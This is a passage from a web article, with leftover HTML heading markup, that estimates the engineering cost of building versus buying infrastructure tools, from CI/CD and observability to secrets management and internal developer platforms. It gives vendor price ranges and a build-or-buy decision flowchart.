          data-heading-id="h2-the-problem-with-well-just-build-it"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>&quot;How hard can it be to build our own CI/CD platform? Jenkins is open source, and we can customize it exactly how we want.&quot;</p>
<p>This statement, or variations of it, has burned millions of dollars and delayed countless product launches. I&#39;ve watched teams of talented engineers spend 6 months building internal platforms that end up being <strong>worse</strong> than off-the-shelf solutions while costing 3-5× more to maintain.</p>
<p>The decision to build vs buy infrastructure tooling is rarely about technical capability—you <strong>can</strong> build almost anything given enough time. The real questions are:</p>
<ol>
<li><strong>What is this decision actually costing in engineer-months?</strong></li>
<li><strong>What product features are we not building while we build infrastructure?</strong></li>
<li><strong>Can we maintain this 2-3 years from now when the original builders have moved on?</strong></li>
</ol>
<p>Let&#39;s break down the math, examine each major infrastructure category, and establish a decision framework that works in 2026.</p>
<hr>
<h2 id="h2-the-true-cost-of-building-infrastructure" class="group relative scroll-mt-24">
        <a href="#h2-the-true-cost-of-building-infrastructure" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The True Cost of Building Infrastructure
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-true-cost-of-building-infrastructure"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>When engineering leaders estimate the cost of building internal tools, they typically only count the initial build time. This is <strong>wildly optimistic</strong>.</p>
<h3 id="h3-realistic-cost-formula" class="group relative scroll-mt-24">
        <a href="#h3-realistic-cost-formula" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Realistic Cost Formula
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-realistic-cost-formula"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code>Total Cost = Initial Build + (Annual Maintenance × Years) + Opportunity Cost
</code></pre><p><strong>Initial Build:</strong></p>
<ul>
<li>Simple tool (CI pipeline, deployment script): 1-2 engineer-months</li>
<li>Medium complexity (internal platform, service mesh): 3-6 engineer-months</li>
<li>High complexity (identity platform, observability system): 12-24 engineer-months</li>
</ul>
<p><strong>Ongoing Maintenance (often underestimated):</strong></p>
<ul>
<li>20-40% of the original development team&#39;s capacity</li>
<li>Includes: Bug fixes, security patches, dependency upgrades, documentation, user support, new feature requests</li>
</ul>
<p><strong>Opportunity Cost:</strong></p>
<ul>
<li>What product features didn&#39;t get built?</li>
<li>What competitive advantages did you miss?</li>
<li>At a typical $200K loaded cost per engineer in 2026, every engineer-month costs ~$16,700</li>
</ul>
<h3 id="h3-example-internal-cicd-platform" class="group relative scroll-mt-24">
        <a href="#h3-example-internal-cicd-platform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Example: Internal CI/CD Platform
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-example-internal-cicd-platform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Scenario</strong>: 20-person engineering team decides to build their own CI/CD platform instead of using GitHub Actions ($4,000/year) or CircleCI ($15,000/year).</p>
<p><strong>Build costs:</strong></p>
<ul>
<li>Initial development: 4 engineer-months = $66,800</li>
<li>Year 1 maintenance (30% of 1 FTE): 3.6 months = $60,100/year</li>
<li>Year 2 maintenance (as features grow): 4.8 months = $80,200/year</li>
<li><strong>Total 2-year cost: $207,100</strong></li>
</ul>
<p><strong>Buy costs (CircleCI):</strong></p>
<ul>
<li>Year 1: $15,000</li>
<li>Year 2: $15,000</li>
<li><strong>Total 2-year cost: $30,000</strong></li>
</ul>
<p><strong>Net loss from building: $177,100</strong> over 2 years</p>
<p><strong>Opportunity cost</strong>: 12+ engineer-months that could have been spent on product features, customer requests, or revenue-generating work.</p>
<p>This is the <strong>best case scenario</strong> where:</p>
<ul>
<li>The build goes smoothly (no scope creep)</li>
<li>Only 1 engineer maintains it (usually 2-3 get pulled in)</li>
<li>No major incidents require emergency fixes</li>
<li>The original builders stay at the company</li>
</ul>
<hr>
<h2 id="h2-infrastructure-decision-framework" class="group relative scroll-mt-24">
        <a href="#h2-infrastructure-decision-framework" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Infrastructure Decision Framework
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-infrastructure-decision-framework"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Use this flowchart when considering building vs buying infrastructure:</p>
<pre><code>                           START: Need infrastructure component
                                         |
                                         v
                           Is this identity, secrets, or payments?
                                    /         \
                                 YES           NO
                                  |             |
                            ALWAYS BUY          v
                              (Stop)    Is this your competitive advantage?
                                              /         \
                                           YES           NO
                                            |             |
                                            v             v
                              Do you have 50+ engineers?   STRONGLY BUY
                                      /         \             (Stop)
                                   YES           NO
                                    |             |
                                    v             v
                    Can you dedicate 2+ FTEs?   BUY
                          /         \           (Stop)
                       YES           NO
                        |             |
                        v             v
              CONSIDER BUILDING      BUY
               (Proceed to TCO)    (Stop)
                        |
                        v
              Calculate full TCO
              (Initial + 3yr maintenance)
                        |
                        v
              Is TCO &lt; 3× buy cost?
                    /         \
                 YES           NO
                  |             |
                  v             v
         PROCEED WITH BUILD    BUY
         (Document decision)  (Stop)
</code></pre><hr>
<h2 id="h2-category-by-category-analysis" class="group relative scroll-mt-24">
        <a href="#h2-category-by-category-analysis" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Category-by-Category Analysis
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-category-by-category-analysis"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-1-identity-access-management" class="group relative scroll-mt-24">
        <a href="#h3-1-identity-access-management" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Identity & Access Management
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-identity-access-management"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Verdict: ALWAYS BUY</strong></p>
<p><strong>Why never build:</strong></p>
<ul>
<li>Security is too critical</li>
<li>Compliance requirements (SOC2, GDPR, HIPAA) are brutal</li>
<li>OAuth flows, MFA, SSO, password reset flows have dozens of edge cases</li>
<li>One vulnerability can destroy your company</li>
</ul>
<p><strong>Best options:</strong></p>
<ul>
<li><strong>Auth0</strong>: $240-$2,400/year (10K-100K MAU)</li>
<li><strong>Auth0</strong>: $500-$5K/year (10K-25K MAU)</li>
<li><strong>Okta</strong>: $2-$6/user/month for B2B</li>
<li><strong>AWS Cognito</strong>: $0.0055/MAU (first 50K free)</li>
<li><strong>Clerk</strong>: $25-$400/month (2.5K-50K MAU)</li>
</ul>
<p><strong>Cost to build:</strong></p>
<ul>
<li>Initial: 6-12 engineer-months ($100K-$200K)</li>
<li>Annual maintenance: $80K-$150K</li>
<li>Security audits: $50K-$100K/year</li>
<li><strong>Total 3-year cost: $400K-$650K</strong></li>
</ul>
<p><strong>Break-even math</strong>: You&#39;d need 100K+ monthly active users to justify the cost, and even then, you&#39;re taking on massive security risk.</p>
<hr>
<h3 id="h3-2-cicd-pipeline" class="group relative scroll-mt-24">
        <a href="#h3-2-cicd-pipeline" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. CI/CD Pipeline
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-cicd-pipeline"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Verdict: ALMOST ALWAYS BUY</strong></p>
<p><strong>Why buying makes sense:</strong></p>
<ul>
<li>Mature products with years of edge case handling</li>
<li>Integrations with every tool you&#39;ll ever need</li>
<li>Security scanning, compliance features built-in</li>
<li>Zero maintenance burden</li>
</ul>
<p><strong>Best options:</strong></p>
<ul>
<li><strong>GitHub Actions</strong>: $0.008/minute (free for public repos, ~$4K/year for 30-person team)</li>
<li><strong>CircleCI</strong>: $15K-$40K/year for 20-50 engineers</li>
<li><strong>GitLab CI</strong>: Included with GitLab ($19-$99/user/month)</li>
<li><strong>Buildkite</strong>: $15-$40/seat/month for self-hosted agents</li>
</ul>
<p><strong>When to consider building:</strong></p>
<ul>
<li>You have extremely specialized build requirements (embedded systems, custom hardware)</li>
<li>You&#39;re running 500+ engineers and spending $200K+/year on CI</li>
<li>Your build artifacts have extreme security/compliance requirements</li>
</ul>
<p><strong>Cost to build:</strong></p>
<ul>
<li>Initial: 4-6 engineer-months ($67K-$100K)</li>
<li>Annual maintenance: $60K-$100K (bug fixes, runner maintenance, integrations)</li>
<li><strong>Total 3-year cost: $250K-$400K</strong></li>
</ul>
<p><strong>Real-world example</strong>: A Series C startup with 80 engineers spent 6 months building a Jenkins-based platform. After 18 months, they migrated to GitHub Actions. Total waste: ~$300K in engineer time + 6 months of opportunity cost.</p>
<hr>
<h3 id="h3-3-observability-monitoring" class="group relative scroll-mt-24">
        <a href="#h3-3-observability-monitoring" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Observability & Monitoring
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-observability-monitoring"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Verdict: ALMOST ALWAYS BUY</strong></p>
<p><strong>Why buying makes sense:</strong></p>
<ul>
<li>Data retention, querying, and visualization are solved problems</li>
<li>Enterprise features (alerting, on-call, incident management) are complex</li>
<li>Scale is expensive to build (time-series databases at scale are hard)</li>
</ul>
<p><strong>Best options:</strong></p>
<ul>
<li><strong>Datadog</strong>: $15-$40/host/month + metered usage ($30K-$100K/year for 30-person team)</li>
<li><strong>New Relic</strong>: $25-$99/user/month</li>
<li><strong>Honeycomb</strong>: $20K-$60K/year for 20-50 engineers</li>
<li><strong>Grafana Cloud</strong>: $0-$299/month for basic usage</li>
</ul>
<p><strong>When to consider building:</strong></p>
<ul>
<li>You&#39;re spending $300K+/year on observability and growing fast</li>
<li>You have 100+ engineers and need custom workflows</li>
<li>You have specialized compliance requirements (data sovereignty)</li>
</ul>
<p><strong>Cost to build (metrics + logs + traces):</strong></p>
<ul>
<li>Initial: 12-18 engineer-months ($200K-$300K)</li>
<li>Annual maintenance: $150K-$250K (storage costs, query optimization, dashboard maintenance)</li>
<li><strong>Total 3-year cost: $650K-$1M</strong></li>
</ul>
<p><strong>Reality check</strong>: Uber, Netflix, and Shopify built their own observability platforms. They each have 500-2,000+ engineers. If you&#39;re not at that scale, buy.</p>
<hr>
<h3 id="h3-4-secrets-management" class="group relative scroll-mt-24">
        <a href="#h3-4-secrets-management" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Secrets Management
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-secrets-management"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Verdict: ALWAYS BUY</strong></p>
<p><strong>Why never build:</strong></p>
<ul>
<li>Security is critical (one leak can be catastrophic)</li>
<li>Rotation, audit logs, access control are complex</li>
<li>Compliance requirements are strict</li>
</ul>
<p><strong>Best options:</strong></p>
<ul>
<li><strong>HashiCorp Vault</strong>: $0.30-$2.50/hour per cluster (~$15K-$40K/year for multi-cluster setup)</li>
<li><strong>AWS Secrets Manager</strong>: $0.40/secret/month + API calls</li>
<li><strong>Doppler</strong>: $0-$249/month (5-50 users)</li>
<li><strong>1Password Secrets Automation</strong>: $7.99/user/month</li>
</ul>
<p><strong>Cost to build:</strong></p>
<ul>
<li>Initial: 4-8 engineer-months ($67K-$133K)</li>
<li>Annual maintenance: $50K-$80K</li>
<li>Security audits: $30K-$50K/year</li>
<li><strong>Total 3-year cost: $250K-$400K</strong></li>
</ul>
<p><strong>Break-even math</strong>: Never. Even at 100+ engineers, managed solutions cost $30K-$60K/year. You&#39;re spending 5-10× more to build and taking on massive security risk.</p>
<hr>
<h3 id="h3-5-feature-flags-feature-management" class="group relative scroll-mt-24">
        <a href="#h3-5-feature-flags-feature-management" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. Feature Flags / Feature Management
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-feature-flags-feature-management"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Verdict: BUY (unless you&#39;re Netflix)</strong></p>
<p><strong>Why buying makes sense:</strong></p>
<ul>
<li>Looks simple, gets complex fast (targeting rules, gradual rollouts, kill switches)</li>
<li>SDKs for every language take time to build and maintain</li>
<li>Analytics, audit logs, permissions are table stakes</li>
</ul>
<p><strong>Best options:</strong></p>
<ul>
<li><strong>LaunchDarkly</strong>: $10-$20/seat/month ($3K-$15K/year for 20-50 engineers)</li>
<li><strong>Split</strong>: $33-$167/seat/month</li>
<li><strong>Unleash</strong>: Open source + self-hosted or $80-$300/month hosted</li>
<li><strong>Flagsmith</strong>: Open source or $45-$450/month hosted</li>
</ul>
<p><strong>When to consider building:</strong></p>
<ul>
<li>You&#39;re spending $50K+/year on feature flags</li>
<li>You need millisecond latency for flag evaluation at massive scale</li>
<li>Feature flagging is core to your product (you sell to engineers)</li>
</ul>
<p><strong>Cost to build:</strong></p>
<ul>
<li>Initial: 2-4 engineer-months ($33K-$67K)</li>
<li>Annual maintenance: $30K-$50K (SDK updates, UI improvements, analytics)</li>
<li><strong>Total 3-year cost: $125K-$217K</strong></li>
</ul>
<p><strong>Break-even</strong>: At ~$15K/year for a managed service, you&#39;d break even around year 8-14. By then, LaunchDarkly will have added dozens of features you&#39;ll need to rebuild.</p>
<hr>
<h3 id="h3-6-load-balancing-api-gateway" class="group relative scroll-mt-24">
        <a href="#h3-6-load-balancing-api-gateway" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          6. Load Balancing / API Gateway
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-6-load-balancing-api-gateway"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Verdict: USUALLY BUY</strong></p>
<p><strong>Why buying makes sense:</strong></p>
<ul>
<li>Cloud providers have mature, tested solutions</li>
<li>DDoS protection, TLS termination, health checks are complex</li>
<li>Global distribution requires infrastructure you don&#39;t have</li>
</ul>
<p><strong>Best options:</strong></p>
<ul>
<li><strong>AWS ALB/NLB</strong>: $0.0225/hour + data processed (~$200-$1,000/month)</li>
<li><strong>Cloudflare Load Balancing</strong>: $5/month base + $0.50/month per origin</li>
<li><strong>Kong Gateway</strong>: Open source or $250-$1,500/month hosted</li>
<li><strong>Traefik</strong>: Open source (self-hosted)</li>
</ul>
<p><strong>When to consider building:</strong></p>
<ul>
<li>You have very specific routing logic (multi-tenant with complex rules)</li>
<li>You&#39;re spending $30K+/year and have in-house networking expertise</li>
<li>You need sub-millisecond latency for routing decisions</li>
</ul>
<p><strong>Cost to build (custom proxy/gateway):</strong></p>
<ul>
<li>Initial: 3-5 engineer-months ($50K-$83K)</li>
<li>Annual maintenance: $40K-$70K (performance tuning, security patches)</li>
<li><strong>Total 3-year cost: $170K-$293K</strong></li>
</ul>
<p><strong>Compromise</strong>: Use open source (Traefik, nginx, HAProxy) with minimal customization. Only build if you&#39;re Cloudflare or Fastly.</p>
<hr>
<h3 id="h3-7-message-queue-event-bus" class="group relative scroll-mt-24">
        <a href="#h3-7-message-queue-event-bus" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          7. Message Queue / Event Bus
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-7-message-queue-event-bus"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Verdict: USUALLY BUY</strong></p>
<p><strong>Why buying makes sense:</strong></p>
<ul>
<li>Data loss is catastrophic</li>
<li>Scaling, replication, failover are complex</li>
<li>Operational burden is high (disk management, monitoring, upgrades)</li>
</ul>
<p><strong>Best options:</strong></p>
<ul>
<li><strong>AWS SQS/SNS</strong>: $0.40-$0.50 per million requests (~$50-$500/month)</li>
<li><strong>Confluent Cloud (Kafka)</strong>: $1-$10K/month depending on throughput</li>
<li><strong>AWS EventBridge</strong>: $1/million events</li>
<li><strong>RabbitMQ Cloud (CloudAMQP)</strong>: $19-$3,999/month</li>
</ul>
<p><strong>When to consider self-hosting:</strong></p>
<ul>
<li>You&#39;re spending $50K+/year on managed Kafka</li>
<li>You have 5+ services producing high-volume events</li>
<li>You have dedicated infrastructure/SRE team</li>
</ul>
<p><strong>Cost to build (custom message bus):</strong></p>
<ul>
<li>Don&#39;t. Seriously, don&#39;t.</li>
<li>If you must: Initial 8-16 engineer-months ($133K-$267K)</li>
<li>Annual maintenance: $100K-$200K</li>
<li><strong>Total 3-year cost: $433K-$867K</strong></li>
</ul>
<p><strong>Compromise</strong>: Self-host open source (Kafka, RabbitMQ, NATS) when you hit $30K-$50K/year in managed costs. Don&#39;t build from scratch.</p>
<hr>
<h3 id="h3-8-internal-developer-platform-idp" class="group relative scroll-mt-24">
        <a href="#h3-8-internal-developer-platform-idp" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          8. Internal Developer Platform (IDP)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-8-internal-developer-platform-idp"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Verdict: BUILD ONLY AT 50+ ENGINEERS</strong></p>
<p><strong>Why this might make sense:</strong></p>
<ul>
<li>Standardizes deployment, reduces cognitive load</li>
<li>Can be competitive advantage for engineering velocity</li>
<li>Off-the-shelf IDPs often don&#39;t fit your workflow</li>
</ul>
<p><strong>When to build:</strong></p>
<ul>
<li>You have 50+ engineers and growing</li>
<li>You can dedicate 2-3 full-time engineers to build/maintain it</li>
<li>Your deployment workflow is complex enough to justify it</li>
<li>Leadership is committed for 18+ months</li>
</ul>
<p><strong>When to buy/use off-the-shelf:</strong></p>
<ul>
<li><strong>Heroku/Render</strong>: $0-$7K/month for small teams</li>
<li><strong>Platform.sh</strong>: $50-$2,500/month</li>
<li><strong>Northflank</strong>: $20-$1,000/month</li>
<li><strong>Railway</strong>: $5-$500/month</li>
</ul>
<p><strong>Cost to build:</strong></p>
<ul>
<li>Initial: 6-12 engineer-months ($100K-$200K)</li>
<li>Annual maintenance: $120K-$250K (2-3 FTEs maintaining, improving, supporting)</li>
<li><strong>Total 3-year cost: $460K-$950K</strong></li>
</ul>
<p><strong>ROI calculation:</strong></p>
<ul>
<li>If your IDP saves each engineer 2 hours/week</li>
<li>At 50 engineers: 100 hours/week = 5,200 hours/year</li>
<li>At $100/hour loaded cost: $520K/year in productivity gains</li>
<li><strong>Break-even: ~1-2 years</strong> (if the productivity claims hold)</li>
</ul>
<p><strong>Reality check</strong>: Most teams overestimate productivity gains by 2-3×. Budget for 3-4 year break-even.</p>
<p><strong>Real-world example</strong>: A Series B company with 60 engineers built an IDP. After 2 years:</p>
<ul>
<li>Engineers saved ~45 minutes/week (not 2 hours)</li>
<li>Maintenance took 2.5 FTEs (not 1.5)</li>
<li>Net productivity gain: ~$180K/year</li>
<li>Total cost: $250K/year</li>
<li><strong>Net loss: $70K/year</strong> (but they claim it&#39;s &quot;worth it for developer experience&quot;)</li>
</ul>
<hr>
<h2 id="h2-the-five-common-mistakes" class="group relative scroll-mt-24">
        <a href="#h2-the-five-common-mistakes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Five Common Mistakes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-five-common-mistakes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-1-only-counting-initial-build-time" class="group relative scroll-mt-24">
        <a href="#h3-1-only-counting-initial-build-time" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Only Counting Initial Build Time
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-only-counting-initial-build-time"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most teams estimate build time but forget:</p>
<ul>
<li>Ongoing maintenance (20-40% of original team)</li>
<li>Security patches and dependency updates</li>
<li>Documentation and onboarding new engineers</li>
<li>Feature requests from internal users</li>
<li>Migration costs when you inevitably replace it</li>
</ul>
<p><strong>Fix</strong>: Multiply your build estimate by 3× for a 3-year TCO.</p>
<hr>
